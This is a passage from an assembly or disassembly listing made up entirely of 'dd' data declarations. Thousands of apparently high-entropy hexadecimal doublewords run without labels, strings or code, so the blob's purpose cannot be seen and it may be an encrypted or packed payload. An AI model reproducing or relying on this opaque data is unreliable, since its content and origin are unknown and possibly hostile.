8F50ABAh, 0F43B69h dd 32C32DC0h, 59B606E9h, 3089F627h, 793AC6F8h, 0B4AED3Dh dd 0F17334E9h, 70221FD9h, 0C2805A2Eh, 0EA735F73h, 110CCFE1h dd 0B31D47E9h, 0F68E452h, 270B3828h, 172F2DA4h, 4F0594A9h dd 0BA710A89h, 0EBC0CE85h, 0B65770E9h, 64CA84A1h, 0AADFC1E3h dd 54007914h, 690BA7EDh, 0A8014E3Dh, 142D08C3h, 5057044Fh dd 0C0494AB8h, 0BB05489Eh, 0E5A4B604h, 5092C1E9h, 1AA0F509h dd 565138D0h, 9E9DDDA0h, 89A66A01h, 554EE9EAh, 0D2E1A87Eh dd 5534D372h, 7F69E47Eh, 1F12C5F8h, 1400FC59h, 150B1F3h dd 12E3EC25h, 6A92A2Ch, 1E06EB38h, 2A42416h, 3D7DDDAFh dd 0F103842Fh, 74275114h, 0AE30AC5Ch, 1A622651h, 0CAD50122h dd 0DE90801h, 0D2A67ECAh, 0F0CEBD4Eh, 32685759h, 0FE756D51h dd 0BFB0B170h, 0E6BEF797h, 5B1FBA2Dh, 1CDFAF92h, 76E913C9h dd 0A4FAF837h, 0A3BE6985h, 0A483C8A4h, 0F5BF4364h, 0E2B6A013h dd 0E57949A1h, 0D0056D16h, 183096DCh, 0BEE0754Eh, 7EB916CCh dd 85888104h, 68289D7Bh, 0DC606C13h, 0D4C4966h, 0B6E94D6Dh dd 0DBA37AADh, 91AE307Bh, 8898B17Eh, 6431CF79h, 0E3D112C7h dd 8AF13Eh, 1E3465F0h, 84E94809h, 0F4161A63h, 413EA6F3h dd 3EF3ECE9h, 58C60E49h, 86B8D1F1h, 0F62DBF97h, 27498B2Bh dd 3D7EDE29h, 0EF8180F2h, 0BB7B9D03h, 73E7C125h, 24DF0B9Ch dd 47074EE1h, 0CCF9D3C8h, 6AD2F7E0h, 89728809h, 0DAF005FDh dd 9B8CDB0h, 504D62FBh, 0EE51FA05h, 160B3721h, 0CBC33101h dd 80131227h, 1DF30556h, 5F602536h, 251C0D5Eh, 1C562845h dd 0A160D5A8h, 0F26B67F1h, 6C27117Bh, 62CF5EA6h, 94FFF871h dd 0BCBBE01h, 0C7715A6Fh, 837CA0AFh, 0D26D4B34h, 7BF60445h dd 8689ED51h, 5F58B405h, 4EC1CB5Fh, 0E9C359ADh, 0AF1C89DCh dd 277B76EEh, 415562AAh, 0E2F05D17h, 0B7261D55h, 0C19CBC75h dd 139029Eh, 5E5DE9D6h, 7FD42FCCh, 0F1FBD55Ah, 9C44E906h dd 0F2CA0E6Dh, 0BA5D5C4Ah, 1775128Ah, 0E1EA01DAh, 3A1A9DE2h dd 0CB1CE3BDh, 0E90D8234h, 0AB4416CFh, 7607AC90h, 41509813h dd 85E9EAE5h, 2E04E500h, 0EDD10CE0h, 0FF1E4DB6h, 79E9FBC2h dd 0A8E2532Ch, 97365B73h, 49107557h, 0D1D55FD5h, 27B1A6A9h dd 47A0B9ECh, 5680A9AFh, 354A9FBEh, 0F2D70FDDh, 4E209E8h dd 106DE02h, 9455CAE9h, 79B8E87Fh, 32136E0Bh, 0A04F7448h dd 44584E08h, 7601582h, 9C894729h, 11482DE3h, 544BD474h dd 0A8765244h, 808AC770h, 81EDC2Dh, 9D89371Dh, 423FD10Bh dd 0B774E528h, 97177272h, 0E695F478h, 214E0BF4h, 5D53001h dd 69844F32h, 0CA5BBF09h, 7F43400Eh, 0B15180DCh, 0C888A11Fh dd 304BB643h, 0E2B4FFC6h, 93B7B3ABh, 17B460B8h, 28C5A695h dd 0FE7FF388h, 0C5405D93h, 0CF93BB2h, 0DEFCE92Fh, 0D2C55770h dd 0A2F48DAEh, 78D19FC1h, 0AF4DEA8h, 99A85A4Eh, 31B850C4h dd 8D92270Dh, 0EBE584C1h, 0B9013D98h, 0F4E9C29Ah, 0F0CE49D7h dd 993C2BDDh, 35FD6809h, 20827851h, 7556BD47h, 50DF4489h dd 3520E7Eh, 0CFDE7435h, 0EA176376h, 0AD388F00h, 931F8FAh dd 0F2895FFEh, 0E9161996h, 24BE4925h, 6CDBC21Ch, 71C85D09h dd 0A75867C3h, 0FB010BDFh dd 583DDC51h, 1C95936Eh, 0B4500219h, 2ECC0F2h, 1D0A5E5Fh dd 0AD4592Ch, 0D6CF2801h, 64BEA105h, 609F58B9h, 76F3492Dh dd 8E9F8DDh, 68267E61h, 15923C7Ah, 552BADFh, 5C89B35Fh dd 92407949h, 77068520h, 26D1C2A2h, 120B675Fh, 0A4625ED0h dd 0E5C3644Eh, 6BAB033Ch, 5CEA172Dh, 1A53A584h, 240DB408h dd 0A47E0832h, 690F2728h, 6B73B579h, 27C37C90h, 9D5104F4h dd 0DA42DDA5h, 0F3686060h, 0A431794Bh, 2F960921h, 8311C196h dd 37FC7BC2h, 0C07AACB5h, 52661BB2h, 0D90ED5F6h, 0C60D210h dd 1EBBCF80h, 30641BB2h, 0C4D920D7h, 61FCC188h, 0BF013FAAh dd 0E8098E2Dh, 0B04EA2Ah, 8BB24D80h, 58D53478h, 9FA7AF28h dd 0A9028058h, 13FC622h, 80C404Ah, 4A4A7E3Ah, 5E69C7B6h dd 685718E0h, 0C00CCC0Fh, 355C6563h, 9649EBA4h, 2CB9015Bh dd 2E429A0Ah, 0EE7FEBB9h, 121A6882h, 6DC70BCDh, 0E95BB8D6h dd 0C404498Bh, 0B8C7254Eh, 40A146E8h, 7403E1E3h, 0B30D7F53h dd 0DB69F368h, 0E6CFFCF7h, 634D510h, 0BB25E82Dh, 1BC24CFAh dd 7104EA17h, 6BA750E2h, 0BB9708EDh, 816FCE3Dh, 8B36920Dh dd 57EFE469h, 2D92DE67h, 8368C4FEh, 0DF1730DAh, 6125FFAh dd 6834F68Eh, 58E1018Fh, 6014B627h, 4B019BFFh, 0E94A6B01h dd 147D95B2h, 0A7F38739h, 7BEE8983h, 8A8835D1h, 0B23C964Fh dd 0E951C13Ch, 8169DA7Dh, 8189582Ch, 4E4D37B9h, 9B71EE4Bh dd 8B6DDD08h, 510B06E7h, 2A197960h, 0D91F2427h, 65C50065h dd 318FD451h, 42DC097h, 5668808Ch, 19AF3E62h, 7761F292h dd 1F0FA70h, 977C80BEh, 73CE3102h, 0C49117E3h, 30C28C5Eh dd 0E00F192Eh, 2604B57Dh, 255C6A9Ch, 7CBBEEDDh, 6686255Bh dd 31090545h, 0B336D170h, 0E98CE968h, 5C990CBEh, 9A75A6E3h dd 0D85D5B22h, 494D385Ah, 4257D779h, 0E99C42ABh, 0F9FD9053h dd 3840A5F0h, 0AB04218Dh, 446B683Dh, 13D590D8h, 0C496792Eh dd 308CBA44h, 0A7074AD1h, 68BA0254h, 411A7C3Dh, 0EE0543BAh dd 13F24CA4h, 0E1E34F66h, 5B8A78CBh, 0EA5F4CE7h, 0FBC2DA64h dd 6D7F0B8Ah, 9EAABA95h, 0F8E1B5ACh, 0D715730Dh, 0BADE74EBh dd 5ED8E4E8h, 56E25A27h, 68F9010Bh, 0ADBAF17Eh, 3C2F1A58h dd 499CFDC6h, 50857EB7h, 52055366h, 0E3E9CA88h, 0ED5E59A8h dd 9C0B9F4Ch, 2016D27Dh, 12F15C5h, 0A29E75CDh, 4C724720h dd 803F5730h, 0FA121048h, 4A76A85Bh, 0BD5F24E9h, 89AEB5FBh dd 0EAC6FE2h, 0AE42D714h, 4857CC80h, 0C4BD8934h, 0D9012F5Ch dd 0F1E081DCh, 0F622CD8h, 0B7BF5706h, 0EAA7FC04h, 37E93538h dd 506351EAh, 77D1260h, 0A90017Bh, 0F61A8060h, 0BDAE68DEh dd 0B1430B7Eh, 8AE1F840h, 3AB70653h, 4986BBE9h, 57F3F21Dh dd 0A8D37EDEh, 0BD5DABB0h, 3456D009h, 5DCD127Ah, 3E46C0FCh dd 90315E3Bh, 0DD75885Fh, 6FAD7D4Eh, 36600202h, 90D5895Bh dd 9AE653D6h, 72672F25h, 7150C118h, 7E58C42Dh, 0DED989F8h dd 8249215Eh, 57552062h, 175C57DEh, 448EE94Dh, 0C3D6F609h dd 3F5EE495h, 0F9B44FFh, 54748E2Ch, 929702F4h, 0A1BC4C2Ch dd 0B73E38DBh, 47B2D293h, 0BE3E6717h, 9B2CDD8Ch, 1D5D93E5h dd 0BFD35376h, 298F1C27h, 5BD95FECh, 7BE57F6Bh, 946D3789h dd 0C3801F96h, 0A01489F5h, 0F680227Ah, 0DC377BDAh, 0E0B01160h dd 0B74A09DEh, 0F2CE01C3h, 788D5B04h, 9AC35E9h, 48F20525h dd 0AC19C197h, 0FA5E0228h, 1096685Eh, 92581CA9h, 0D1300308h dd 0E0CE2438h, 201AB002h, 414161C6h, 70F4492Bh, 0E8C08FA0h dd 255A2C04h, 3980E2F0h, 0CD9F8CE5h, 0F558BBEFh, 2FBE6819h dd 813BF9E9h, 2D7CE3F3h, 0CBD84902h, 0FE6B1F47h, 7F3011Eh dd 3B2A0558h, 55E9AF88h, 8F2B900Eh, 963F50B5h, 28CDFE80h dd 5EC8EDC0h, 0AFC2128Eh, 771087A6h, 0FEA5B3Dh, 0E24EDE77h dd 0F25D65B3h, 600B02FFh, 70465862h, 3C080CFEh, 841C555Dh dd 394F1100h, 0C64378BDh, 51E9279Bh, 0F0D74409h, 0D05C49EBh dd 82B2EEB4h, 8E972C34h, 76D61387h, 0CE20658Dh, 58409552h dd 49482309h, 0C1CE615Fh, 0D24105EBh, 870517B0h, 3258B787h dd 2AD081D1h, 0EB18B532h, 0FFE8555Ah, 0D89D9168h, 9DD0BD7Fh dd 91AD7534h, 16E0B2EFh, 4FB8FD01h, 870588Ch, 54024090h dd 31F64FF8h, 0A767D5D9h, 5BBFD93Eh, 0D62228BAh, 0B9A4844Fh dd 0A2A24B23h, 12254864h, 0C934C5FAh, 3C931A06h, 0ECF09D16h dd 93BBFE95h, 0E04556BFh, 0E85D951Dh, 0FCEA2755h, 0DB94BD98h dd 0ABD7A918h, 17FF461Ch, 54A128CDh, 1339BE2Ah, 9F6EB92Ah dd 0BAAE1867h, 12400C54h, 10BBE35h, 49FBC55Eh, 0E25DB9AAh dd 540C5712h, 6F2DE96Bh, 0C9FE796Bh, 9EE23DD6h, 0CF7BDFEBh dd 33965DA4h, 0EEE27EB4h, 0B174BD17h, 0F2E2DE4Bh, 7AD37C5Dh dd 69E91181h, 3DBB2EBCh, 74C5AD6Ch, 3F8AF8Dh, 97C61820h dd 560BF8DAh, 0E2A958CEh, 26385635h, 0F7688946h, 2E9A540h dd 8574225Ch, 51B3F489h, 251AF21Ch, 0BEEE47DFh, 0C624E95Bh dd 0B714B5E9h, 0BAE56440h, 0D5490EBCh, 68B19E0h, 8F622107h dd 6AD3842h, 7FE90A00h, 0B234DA46h, 433B1075h, 0D1EBC085h dd 21EF815Ah, 7CC60F04h, 0DE84CF01h, 0F4590809h, 0A65E8CB3h dd 0FA6B018Bh, 7E6050FCh, 738B25C7h, 2D622956h, 0B5BD059Ah dd 12C23B1h, 5767CD81h, 7BED41FCh, 2D1C012Ah, 3BC0DFEAh dd 0CF3F6DF1h, 72BB4BD7h, 0BB706DC3h, 59FDB9B7h, 0A86E0CE5h dd 0ECECE449h, 7CF9801Ah, 0F433FAFFh, 0D5BB4968h, 0A02CB876h dd 80E1BCE8h, 0B8E240BAh, 0D3290F05h, 7809585Ah, 5C0DA06Eh dd 2D32EC2Dh, 0FA582B17h, 44140782h, 5154A295h, 0DCBD0016h dd 375C145Eh, 3B944B6Fh, 2CF99280h, 6B6A4C7Ch, 15FB952Fh dd 89BB5380h, 98109E11h, 27E60565h, 84437568h, 0FAED8154h dd 0DB4E606Dh, 79FB6905h, 0D0D04EE9h, 3D64CA68h, 76164983h dd 70D8EB6Eh, 0A9BC4A68h, 1DE88072h, 1FD16D36h, 0F9EDC1E5h dd 450320F5h, 0B001083Ah, 0E05A0CBAh, 1D4A7C4Bh, 7F5CE6F5h dd 92F9A44Eh, 0CCBF8E12h, 0C28BF2EAh, 0E4621DE9h, 0AF884B28h dd 8C2DDC8Eh, 0EFC13A81h, 7CC6E108h, 0DE252C02h, 4529FE0Fh dd 3AE9CB0Bh, 475D6882h, 0B2A01C59h, 6D319709h, 0FCEAD713h dd 0F27C8EF7h, 62FD3B0Eh, 0FC0918E4h, 71CE01B3h, 30478E3Bh dd 4E171B29h, 0F480364Ah, 0B77456E9h, 0AFE36AC8h, 4271FC97h dd 44D58C7Dh, 4FE59078h, 53C4414Dh, 820CB130h, 0E35A420Ch dd 8BC17557h, 0A2F57E05h, 88D0E72Ah, 61302729h, 0F4978714h dd 1CD6C9E8h, 6945BF81h, 322C23DDh, 52DFF700h, 8A5AE8BAh dd 0D7297012h, 86E9F920h, 1AD4B781h, 259AD0ADh, 0D8DCC683h dd 0F8E53C2h, 0D42CCF61h, 68E0415Ah, 19CC3E34h, 60985BB3h dd 8082B246h, 0C094CA04h, 22AA05E2h, 9B586182h, 37B4359h dd 71515935h, 16F4D13Dh, 0EF22353Ah, 0D656570Bh, 1C8119DEh dd 0DF957EB8h, 9D0493EDh, 0E54FC42Ch, 873CF0C3h, 5A45605Bh dd 0AA53A9E9h, 950174F8h, 21185D3Ah, 0A1BA6CCDh, 0C340DDF7h dd 16BEEFF9h, 0F1CDE9FFh, 30EE2ABDh, 384C684Bh, 47AC2AE1h dd 0ED95D896h, 350D442Ch, 0F69F2C28h, 8A5CBBEFh, 34E9043Fh dd 79DF243Ah, 0A162AF7Bh, 0E92359DFh, 0E6A05289h, 7551685Dh dd 5A86AE1h, 7C13EBB0h, 1AB8165Eh, 10DEF94Bh, 0B35A6564h dd 597D4CCh, 0DE932B3h, 0B5F782h, 2A0C2D58h, 12ACFA4Ah dd 0BB06267Fh, 0BC1244BFh dd 357E11C1h, 0EA484148h, 2D82F9A5h, 7D2E8914h, 514174F1h dd 0BE825257h, 15326825h, 2040D640h, 0E92A9D0Fh, 0F53CFAAAh dd 7F98C9E4h, 0AAB7297h, 3979E9FDh, 685780FCh, 6D1448E6h dd 0BCC7095h, 247F060Ah, 3BBC8F1h, 911A05C9h, 5EBADA31h dd 21B20566h, 0CFB0FB51h, 175875C1h, 8032E9CCh, 0ACB753ABh dd 4C043FFFh, 0AB12B39Bh, 9A48C68Ch, 36F59DF6h, 27E92C41h dd 0A78F9E82h, 72541677h, 2597B0F0h, 96F5F384h, 2C68127Dh dd 0C9D2FC09h, 4A1A57B6h, 0CC89E55Dh, 28E1E909h, 0CD00F407h dd 28C76971h, 2BEE48D1h, 0CE30D04Bh, 0E24C5B59h, 570B7D80h dd 740FFEFBh, 0F1338889h, 7C094424h, 0BCB144BCh, 4BD8A7FAh dd 311B09BDh, 0C4305A2Dh, 0EE05F53Dh, 4E7C29D8h, 0F1FCA455h dd 96650C02h, 0C2CA016Dh, 27D5F042h, 857E3059h, 105704E9h dd 0F60251C0h, 255C98DAh, 4E8053A7h, 0EB285BB3h, 742CE92Dh dd 4CCB4257h, 3BFCDC0Bh, 70FF33B9h, 5BDD03E3h, 28D9B353h dd 61E90C09h, 4B2AD2AEh, 84E7F358h, 0FB1FB8A4h, 3E17A94Eh dd 0DC377D01h, 17301AB2h, 987AC280h, 4A690A9h, 1EE916EAh dd 0C141BF38h, 0A30F7BCDh, 60347570h, 78BA6408h, 7E02801Ch dd 6B230BBEh, 2425FA53h, 0A6F45EC1h, 59570114h, 0D3B87415h dd 2DFF0B5Bh, 634C618Ch, 6798769Fh, 12FB5420h, 35417968h dd 0D778A83Eh, 5329E601h, 9B285621h, 9A84B4h, 68555210h dd 18950B41h, 175A30E3h, 0EB2957C9h, 0FC6ADE2Dh, 3E9E0F7h dd 5D0ADE0Ah, 34E5C97Ch, 141442FAh, 10994E4Bh, 0BB00824Fh dd 7458757Eh, 421F17BDh, 52D76D65h, 0EA095BC0h, 4A4DF05Dh dd 0E65AF880h, 0DC6F2D1Eh, 0C51D5E44h, 90A5D388h, 30E902DEh dd 0EEF72AE1h, 182716AEh, 0BE08DF66h, 0EA1C3408h, 0E69C5FD5h dd 0BF51707Dh, 0C0E9AF54h, 8048EF22h, 280B2EB9h, 512955C6h dd 8FF1273Dh, 0C63E62h, 7B1343BFh, 8271F7Ah, 5E05F2ABh dd 9251A853h, 4ECEC6E4h, 0C8BDF435h, 47E40A13h, 60F0A5BBh dd 294E0415h, 218F8CEAh, 2CEA7A5Eh, 0CC618E42h, 6A27CF4Fh dd 0A03E20FDh, 88253520h, 0AF8F7D68h, 8B734EABh, 5EEF804Dh dd 0F9C1B021h, 0CF5254BFh, 0FEA31065h, 5EA80532h, 0C3B309BFh dd 310C060Bh, 0FCF13010h, 0B5C93CD1h, 0FD9B04E0h, 226E49EFh dd 2D402951h, 4AAD1688h, 41DFAC51h, 6ADDF207h, 250D59A9h dd 5416E6E4h, 0D3E12AE9h, 10D2CA7Fh, 4000B007h, 0F060F10Dh dd 3392D52h, 0D6AFA712h, 57E909F8h, 0ED81A8F4h, 3BEFE497h dd 8BF4DDF9h, 110EBB16h, 55500001h, 4D2F15BDh, 9FE91A66h dd 1FD424Bh, 978C924h, 79F6D220h, 41372D2Ch, 882FE450h dd 0AC8BF932h, 0C55549BAh, 42D02CD2h, 0CCD47401h, 286B3508h dd 0C95A738Bh, 0F8424FA2h, 0D4BE5B3h, 68879EACh, 251C2E70h dd 57A3BDEh, 0FA9043D6h, 3848F280h, 0D5294DB5h, 0E8300B29h dd 0BD3DC6DDh, 84C913D4h, 5009419h, 2041589Bh, 890D1798h dd 247D831h, 3D54A92Eh, 0B6A924Bh, 15175701h, 0E07AF1C4h dd 4740F2E3h, 3C719F89h, 4D65C6Bh, 0D33AE2E9h, 0EDF56D9Fh dd 53A6C41Bh, 0B32EE644h, 21F309E0h, 77340B20h, 6A4BA322h dd 103CE2F9h, 813B0853h, 0A677E885h, 4BEBC03Eh, 70009625h dd 0F3C07F2Dh, 0DBC1315Dh, 325F3C8Ch, 41196ABCh, 3EC24182h dd 0E94AE9FCh, 8EA858Bh, 29C30787h, 82840DAh, 1B8727E9h dd 5B933FE7h, 0D4BDA6AEh, 5854871Fh, 0F5E40D24h, 553E40F8h dd 0D82AA5E7h, 86150946h, 0A5E89432h, 0D92E3066h, 6B0C170Dh dd 0EE2C528h, 7D1847FAh, 0D36DF2C7h, 0CAE04C8Eh, 0FC105768h dd 77EF714h, 0A39435A4h, 0D65E6601h, 6215730Dh, 27BD224Fh dd 0CC425A06h, 0AB80105Eh, 0D7013253h, 0E0C1481Bh, 1CF03504h dd 0D262415h, 1E3D018Fh, 68DFB3E9h, 0AA53E49Bh, 2EB72DEAh dd 0E953AF90h, 3E8860CDh, 28CBED80h, 5066D50Eh, 0E51DDCB4h dd 0FCF85892h, 95F6F89h, 0F69C7703h, 642E95Fh, 0FD59CA21h dd 2A04288Bh, 17FFB949h, 0DDC4B8Dh, 0AAD04A31h, 0FE73D60h dd 3E6D4CD9h, 6A2D7B01h, 38BEE910h, 3CBD0289h, 7F0E781Eh dd 41B75A70h, 9F813A3Bh, 0B92D37F2h, 82C74027h, 80B80108h dd 12AD2827h, 0D65640B9h, 26C40137h, 3BC82EBBh, 3DC02AD9h dd 2F035E05h, 5D420E6h, 0B1970720h, 0CF284B1Dh, 68840F0Bh dd 0A1A0015Eh, 60448888h, 492B7BBFh, 15A09CF5h, 922FF1E9h dd 11D0F305h, 18F404B4h, 844D1DA8h, 0A27B0A31h, 68530534h dd 30EF1071h, 0FD167778h, 35FF514Ah, 67A0E8CBh, 80A95B3Eh dd 4B1B54CBh, 30B90532h, 80A7812Ch, 927FB180h, 9DC6A48h dd 9A219F68h, 5B556124h, 4B19E86Bh, 0E392BFF6h, 0B3BF936Eh dd 6A37C533h, 0B4095895h, 2535D602h, 0B4F4347Dh, 69D72726h dd 0DC89AEFDh, 3FA2212Ah, 2500331Fh, 48AC32C9h, 0B684FC72h dd 876802D1h, 0A46EAF44h, 0C9AE30D5h, 356BD33h, 2D67B175h dd 9A0B7BE7h, 2DFAB50Ch, 8290E925h, 0C0E53017h, 24BEED16h dd 1A02EB88h, 2760BD54h, 58767B06h, 34B3F100h, 0BA5207A0h dd 0B5320398h, 5AD10976h, 0C66D942Dh, 84864ACAh, 0F1E3EEC8h dd 28BA397h, 7656A3BEh, 0E6376472h, 0CCB6091Dh, 0DA75214Ah dd 2BDE97B5h, 0A20702E9h, 0AA947585h, 0A8B2BCF8h, 78607CBFh dd 4093765Ch, 5C13F70Bh, 771460B3h, 5F0F6557h, 0D438BEh dd 51C681A4h, 9DDB7C32h, 801F6EAh, 7E3D9BE9h, 44EC9375h dd 0FA559CAh, 0B6848DC9h, 2721DC52h, 54627302h, 4002E5C1h dd 5F72A175h, 0DE4680AFh, 0EE77CAF0h, 3503F558h, 0A6AFDE39h dd 7906D4CEh, 1DF15B00h, 0A0286F0Dh, 0DCE9152Dh, 0E3028E66h dd 734E5DC6h, 51438440h, 62741A26h, 6D132801h, 909E4D75h dd 45CD8106h, 0DB3E0E42h, 940D1AC8h, 0C0F5F0E1h, 7348DD12h dd 892407FCh, 0C0FE276Fh, 51E8045Bh, 0B6200340h, 0C7517E5Dh dd 2E34260Dh, 0F1082321h, 0E0D525E1h, 0C08BB00Eh, 9A48C7C1h dd 295E2F3h, 571E087h, 6B1DFB66h, 980B5D24h, 8D2F5455h dd 0F83C3F2Bh, 5E4AF021h, 0AF925591h, 2B14C93Bh, 1A962BEFh dd 841057E2h, 30AE1980h, 7B0977ACh, 0B1B8115Eh, 2E461401h dd 243AA568h, 5844714Fh, 74B50EC1h, 2DF3FDEh, 2F352066h dd 5C780FDh, 7DB661ACh, 8F0C321Ah, 54775C32h, 0BA0E44C2h dd 5BDEE742h, 3FC45558h, 0A59E68EDh, 1AC500ABh, 5A6B0E01h dd 0D20936B0h, 9198C74h, 7E9102BBh, 0CD8571Fh, 13827A9Fh dd 92A673E9h, 84D091FEh, 5E55C2A2h, 0DB55E95Ch, 5CF1321h dd 406C458Eh, 6B31F6A3h, 46582C0Ch, 0B76620AFh, 0D3005B42h dd 55E2AD8h, 9570780Bh, 97150041h, 0A10BC51h, 4E3C15Bh dd 8E70ECCh, 2F0549EBh, 0B824AAB9h, 0D73027BBh, 34EC49D2h dd 66847F4Eh, 4E0A9BFBh, 0ED9F67FAh, 0DE046F0Dh, 0B1168C3Eh dd 7FD8E181h, 0DBBB49D0h, 0D8E2405h, 7CFA03ACh, 0CBB02A1Dh dd 5D1E090Ah, 8859E944h, 22DCE13Fh, 34F4BFD8h, 637B7682h dd 0B0465F0Ch, 6BDBE916h, 0B52231AEh, 9B852FB6h, 86627C88h dd 0F5B55113h, 9682BAC9h, 382E5DF9h, 529F8F41h, 50FF28E3h dd 0F8529F7h, 0EA8109DFh, 6509C9FFh, 805A162Bh, 0ED1F1742h dd 16FC7A40h, 0BF11357Fh, 8A001F12h, 68D63703h, 1CC4AE9h dd 0D9F480D7h, 0C7B02A28h, 0CB489752h, 40E31F2Fh, 21A5EF92h dd 0E4176F24h, 8609D81Ch, 0BD4758C4h, 0D5A5AF47h, 0E916FE3Ch dd 0DB7840C5h, 5EBE2A68h dd 0C2CC4FAEh, 98F755D7h, 0BEEF01C3h, 0CC2B58E4h, 2A5918B7h dd 85B74F10h, 1E30B832h, 74475AB5h, 19B2EF30h, 0F0364684h dd 8AFC582Ch, 0DBF6F481h, 61E83BF2h, 7AC00B4h, 6F6EE950h dd 2B8CFC9h, 5D699089h, 5855D609h, 0DA1C9D61h, 0D1844627h dd 0FA2A59Dh, 0C4ABDACh, 6A2A7380h, 4A60301Bh, 0B354D760h dd 0E9095B48h, 0C8015F1Ah, 56117069h, 0CD92E07Ah, 0D2A3354Bh dd 9FB9B726h, 72048B57h, 2A894C6Bh, 4E1698A9h, 1CCEFE23h dd 0CCF7EE80h, 0FD065EF6h, 8F5312CFh, 15E9E2C6h, 0B573F7ACh dd 860804AEh, 0F9EC27E3h, 1643C605h, 3BE87A92h, 173EBC10h dd 83FFDA28h, 86E76A2Bh, 0BE123E7Bh, 0B01EB26Ch, 0F6B12092h dd 0E57563A5h, 0B3E94110h, 7B48AC32h, 0C652F80Bh, 80812034h dd 43BDC0BFh, 0B06B4A77h, 0D944FCCh, 175EC350h, 0EB6D093Dh dd 8FD9242Dh, 0DC48EB73h, 0CD08D913h, 0CDA5212Ch, 9AA301Dh dd 153E6717h, 56FB4801h, 0DACE0880h, 43589D39h, 8BB1E927h dd 7F1329A3h, 428FC45h, 0BE488A00h, 11A6053Eh, 0A0194E0Bh dd 0EFA89CEDh, 5D14C40Dh, 9C5640Eh, 0D72E188Ch, 90F7F729h dd 10EFCBC2h, 4831CDACh, 0BCD05F2Dh, 95E237E9h, 0FC9E96D5h dd 0AD6F9438h, 4177F384h, 874B39CDh, 0F748E8CEh, 0C0AEA0DDh dd 0C20E8BA3h, 45D3503Dh, 0A90A478Fh, 44A60A6Fh, 0FE807E3Dh dd 0CEC1E4C9h, 0B98F8008h, 4A5A3DC6h, 175E529Dh, 0B37C0159h dd 0F490BB2h, 79F5844Eh, 42E029FBh, 0FB5314F9h, 7CF813A5h dd 9968250Bh, 0AFA6A171h, 30E89A17h, 4B9B28A9h, 916416FFh dd 3A92E92Bh, 5FEA78D0h, 58799059h, 2A7E0661h, 25F97387h dd 0B45904E8h, 54BA220h, 0F0C073A2h, 0F7540717h, 774ADA27h dd 0E27DD0E6h, 644AE9F4h, 0F3903F18h, 415F2D78h, 3ACAD901h dd 81C0C627h, 0F55C4B97h, 85EB0226h, 7725B5F9h, 8F092574h dd 65E2761Bh, 5F1DE865h, 0E982ADE6h, 0D1DF9FC1h, 112C1115h dd 0C7022A55h, 0B3E5296h, 619AC148h, 0AD771D2Eh, 0CBA4D725h dd 6E07C2F9h, 2BF5701h, 80EDB26Ah, 0F74ACEBBh, 93F0B566h dd 2F44B220h, 9FB0D128h, 0A958B753h, 208701BCh, 0C7FE59EFh dd 2DE9CD60h, 95A2CF7Ah, 99DF4FABh, 0D134D709h, 2063904Bh dd 0BD3C5C5Bh, 5EC92480h, 62BCE501h, 0C81448Ah, 162E7175h dd 3E5CD6E9h, 0E3EA8935h, 0DE1CCBE1h, 0A57570A8h, 0AC2FBF81h dd 2D0C5B86h, 4C458A5Bh, 5CC1C1A7h, 0F0028864h, 18D729A2h dd 3041DEAFh, 0D987298Eh, 4D487993h, 5600DC6Ah, 0AE0D0468h dd 0C0BD5E07h, 0A124C460h, 0E42A89C6h, 0FC82B616h, 70812FDAh dd 3AFE7BFAh, 0E9C442AFh, 0A865D70Eh, 54565507h, 0A2FFDDE4h dd 0E2426066h, 0C2220908h, 0E87AB170h, 5BC3A98Eh, 7673C969h dd 68344660h, 134A0B1Eh, 1C955816h, 0C805C231h, 0DFE07C09h dd 8080ABC7h, 0FE255EEBh, 30E4DE27h, 0F87E38E1h, 9F2A7E5h dd 736635h, 788DB951h, 0A6BD17DEh, 318E22DCh, 20708BCDh dd 1F56B9D1h, 65134893h, 6CE0AE01h, 30C801ECh, 2A4FBD64h dd 63863028h, 28CB0B37h, 0DEEA464Eh, 0B8C84F0Fh, 487F8214h dd 6D02825h, 0F65CB353h, 802604D3h, 0CB199AF3h, 0C13FA0FEh dd 2E1F6967h, 0B16A728Dh, 0F77BA5CEh, 675C4862h, 2ED26841h dd 1301CA3Eh, 5706575Bh, 4D71764h, 0D26E5CC2h, 5F16BBEDh dd 1F73D107h, 0D8AF3DD5h, 5D608634h, 5753BA34h, 81710150h dd 6F349FCAh, 16F07B2Bh, 47480B46h, 0D85E0968h, 30F3CF07h dd 0FC167606h, 1ACB36Ah, 77BF7FF4h, 12392329h, 34FC490Ah dd 273DFC4h, 6C7DDC68h, 1E3B0BA0h, 64F425EDh, 3C283E28h dd 0EA04BEF4h, 4EB8760Eh, 12C8B0AFh, 575E20BAh, 0D08595B9h dd 90A11154h, 0C680528Bh, 6F96625Eh, 5DD2C29Fh, 13C68E03h dd 2B298D2Dh, 78A6F47Bh, 499755A3h, 0FA150C1Ch, 4EA29E8Ch dd 0DE6DA88Bh, 74615849h, 38358850h, 7D163126h, 1C66380Eh dd 0D64695FEh, 4F85581Ch, 3FF3EE13h, 0F40368Bh, 64C4FC88h dd 10B977Dh, 5E97B158h, 0F06293CEh, 0F1643142h, 0D31225BEh dd 1F4B63DAh, 0DBB7C1FAh, 27AC6648h, 5DD00504h, 0F3FB4E84h dd 5B83D577h, 0B51F04C8h, 11F0C6C4h, 50A85E4Fh, 0C67531CBh dd 7C5248A6h, 34A30610h, 0B0E0A85Eh, 692B09BBh, 0F9004CAAh dd 0B7D1F4Fh, 0F9CB212Eh, 0B593605Ah, 0DD597262h, 8F482784h dd 3212CEC2h, 22016C3Dh, 0E1800166h, 2E749440h, 9C3E5427h dd 5A08A1EFh, 7E685641h, 0EFE91764h, 0BAAEFBFEh, 0C05F1AA4h dd 37667FCDh, 1A68F9BFh, 50DF107Bh, 0A5C8C1F5h, 0FC4D5968h dd 420E6BC9h, 0E04174D2h, 9E4AC6E1h, 9001BF56h, 7BCA1BE9h dd 0F10206FDh, 285D45A0h, 0AB806960h, 0F62FAF27h, 38BB0079h dd 501FCC71h, 0E905C4B3h, 0EF88CB43h, 6BE9E35Ah, 404FF86Eh dd 87A85908h, 0BC09961Bh, 1FB8953h, 6514E991h, 4F56878h dd 9570803Dh, 0C450F230h, 0FCFA3968h, 4F7FC537h, 667232FEh dd 0A9B3897Fh, 0BC65F5C3h, 1E9F2C0h, 0FB82C59Bh, 0EAC794E7h dd 973E25E1h, 0BE34B4F9h, 522D76E3h, 3DB87C80h, 0D3B8615Eh dd 0F1F0D05Fh, 11010005h, 0A6352958h, 2A5F03AFh, 0EF6575BEh dd 0B83AD6F5h, 23E94F64h, 124FEEA6h, 0A0ACCF57h, 5EB6191Ch dd 12076488h, 3FE0A021h, 1870C241h, 